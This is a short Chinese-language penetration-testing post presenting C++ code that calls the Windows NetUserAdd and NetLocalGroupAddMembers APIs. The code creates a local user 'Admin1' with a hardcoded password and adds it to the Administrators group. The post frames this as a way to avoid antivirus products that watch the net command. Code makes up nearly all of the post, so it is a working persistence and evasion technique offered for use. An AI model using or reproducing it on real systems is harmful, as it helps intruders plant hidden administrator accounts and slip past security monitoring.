简述
在日常渗透工作中有时候需要添加用户进行登录，但是net命令又被盯的死死的，进行测试后发现使用API添加用户可以绕过某些杀软的限制。
使用函数
- NetUserAdd：添加用户
- NetLocalGroupAddMembers：添加到管理组
C++代码
#ifndef UNICODE
#define UNICODE
#endif
#include "stdafx.h"
#pragma comment(lib,"netapi32")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
int wmain(int argc, wchar_t* argv[])
{
USER_INFO_1 user;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS success;
user.usri1_name = L”Admin1”;
user.usri1_password = L”P@ssWord123”;
user.usri1_priv = USER_PRIV_USER;
user.usri1_home_dir = NULL;
user.usri1_comment = NULL;
user.usri1_flags = UF_SCRIPT;
user.usri1_script_path = NULL;
success = NetUserAdd(NULL,
dwLevel,
(LPBYTE)&user,
&dwError);
if (success == NERR_Success) {
LOCALGROUP_MEMBERS_INFO_3 p;
p.lgrmi3_domainandname = user.usri1_name;
NetLocalGroupAddMembers(NULL, L”Administrators”, 3, (LPBYTE)&p, 1);
}
else
fprintf(stderr, “A system error has occurred: %d\n”, success);
return 0;
}
测试截图
